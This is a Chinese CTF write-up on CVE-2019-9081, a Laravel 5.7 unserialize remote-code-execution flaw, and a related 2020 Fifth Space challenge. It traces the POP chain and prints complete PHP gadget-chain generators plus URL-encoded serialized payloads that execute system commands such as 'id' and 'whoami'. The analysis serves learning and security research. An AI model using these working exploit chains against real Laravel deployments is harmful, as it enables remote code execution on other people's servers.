Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

0x00 前言

前天第五空间的时候5am3问我还会搞Laravel不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记📒。整合了其它笔记的内容,形成了这篇文章。
PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。

0x01 判断题目环境的版本

1
2
❯ php artisan
Laravel Framework 5.7.28

0x02 设置对应的入口点

入口URL

1
GET /index.php/index?p=

与入口点相关的文件:

  1. 路由文件 routes/web.php

    1
    Route::get('/index', 'TaskController@index');
  2. 反序列化的入口点 app/Http/Controllers/TaskController.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    namespace App\Http\Controllers;
    class TaskController
    {
    public function index(){
    if(isset($_GET['p'])){
    unserialize($_GET['p']);
    }
    return "There is an param names p (get)";
    }
    }
    ?>

0x03 本地环境搭建

两种环境搭建方案

A.本地环境配置

操作系统:macOS
PHP版本:7.3.11

1
2
3
composer create-project laravel/laravel laravel57mac "5.7.*"
cd laravel57mac
php artisan serve --host=0.0.0.0 --port 8081

B.虚拟机环境配置

具体的环境配置过程参考:官方链接
虚拟环境的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 虚拟机的启动
cd ~/Homestead && vagrant up
# ssh登录虚拟机
cd ~/Homestead && vagrant ssh
# ssh上去之后可以使用如下命令退出
exit
# 关闭 Homestead
vagrant halt
# 虚拟机删除
vagrant destroy --force
# 修改Homestead.yaml配置文件重新加载
cd ~/Homestead && vagrant up # 如果虚拟机是开启的则不需要执行这个命令
vagrant provision

xdebug远程调试

1
2
3
4
5
6
7
8
#开启xdebug
sudo phpenmod xdebug
#关闭xdebug
sudo phpdismod xdebug
#客户端调试脚本
xphp path/to/script
#xdebug的配置文件修改
/etc/php/7.#/fpm/conf.d/20-xdebug.ini

web服务器切换(ngnix和apache)

1
flip

0x04 CVE-2019-9081

影响版本:Laravel v5.7
漏洞核心:Illuminate/Foundation/Testing/PendingCommand类中的__destruct方法中调用了run方法,而run方法是用来Execute the command的。因此需要找到对应的POP链来完成RCE。
首先看一下PendingCommand类中的几个重要属性:
-w872
其次看一下关键的run方法,这其中有两个位置的代码比较关键。一个是与代码执行直接相关的,另外一个是与到达代码执行位置相关的方法mockConsoleOutput。我们必须保证方法mockConsoleOutput可以正常执行完毕。
-w1145
所有接下来就看一下mockConsoleOutput方法。由于程序可以正常执行到166行的位置,所以对162行的代码就不需要进行进一步的分析。
-w893
分析的关键在于166行的的属性遍历。要控制这个数组我们只需要找到一个public function __get魔术方法就好了。一搜一大把,这里我们选择Faker/DefaultGenerator类中的。
-w1014
到这里为止我们先写一个PoC来进行动态分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
public function __construct()
{}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}

执行之后的结果

1
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

此时可以看到已经成功过了vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php中的第166行的代码
-w1078
可以到达关键的136行代码处。
-w1133
但是再往下走的程序就会抛出异常,所以要对136处的代码进行详细的分析。
-w1077
这种链式调用不太好看变量中的内容,所以我在136行之前补充几行代码

1
2
$kclass = Kernel::class;
$app = $this->app[Kernel::class];

动态调试的过程中可以看到Kernel::class中的值是Illuminate\Contracts\Console\Kernel。而对应的$app = $this->app[Kernel::class];代码在执行时会抛出异常,所以我们要跟进这个部分。继续跟进之后到达vendor/laravel/framework/src/Illuminate/Container/Container.php文件中。我在动态分析的时候发现Illuminate\Container\Container类中调用的是Illuminate\Container\BoundMethodcall 静态方法。还有别忘了Illuminate\Foundation\Application类继承的是 Illuminate\Container\Container类的call方法。所以我们要继续往下跟。
-w894
继续跟进之后可以看到一个关键函数call_user_func_array。继续跟进 getMethodDependencies 函数。该函数返回的是 $dependencies 数组和 $parameters 的合并数据,其中$dependencies默认为空数组,而 $parameters 为可控数据。
-w1058
再加上此处$callback的值就是我们可控的值system,因此此处的实际形式为call_user_func_array(可控数据,可控数据),可以构成任意代码执行。最终构造的POP链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}

?>

EXP

1
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

-w1493

0x05 CVE-2019-9081的参考链接

  1. Laravel5.7反序列化漏洞之RCE链挖掘
  2. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
  3. laravelv5.7反序列化rce(CVE-2019-9081)

0x06 第五空间–laravel

Diff一下的发现其实题目中所做的修改仅仅是删除了vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php文件中的$this->run();这一行代码。没有这个调用点,那我们的思路就是在其中找一个call_user_func来执行Illuminate/Foundation/Testing/PendingCommand类中的run方法。
-w1050
此处我们使用vendor/fzaninotto/faker/src/Faker/ValidGenerator.php文件中的call_user_func函数来完成对run的调用
-w931
这个思路其实并不是新的,PHPGGC当中就经常只用这个点,因为ValidGenerator类中的__call比较好利用,而其中又包含了call_user_func_arraycall_user_func。所以结合这个点很容易就构造出下面这个Exp。具体的不在多写,如果有不清楚的可以看后面的参考链接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
// Exp来自chamd5 wp
//gadgets.php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters, $class, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}

namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind)
{
$this->bindings = $bind;
}
}
}

namespace Symfony\Component\Routing\Loader\Configurator {
class CollectionConfigurator
{
public $parent;
public $collection;
public $prefixes;

public function __construct($parent)
{
$this->prefixes = 1;
$this->parent = $parent;
$this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
}
}
}

namespace Faker {
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct($validator)
{
$this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
$this->validator = $validator;
$this->maxRetries = 10;
}
}
}

namespace Symfony\Component\Routing {
class RouteCollection
{

}
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php
//chain.php
include "gadgets.php";

$payload = new Illuminate\Foundation\Testing\PendingCommand(
"system", array('whoami'),
new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))),
new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")))
);

$a = new Faker\ValidGenerator(array($payload, "run"));
echo urlencode(serialize(new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a)));

-w1133

0x07 第五空间laravel题解参考

  1. 第五空间-WriteUp
  2. PHP反序列化入门之寻找POP链(一)
  3. Code-breaking Puzzles 2018 Note–lumenserial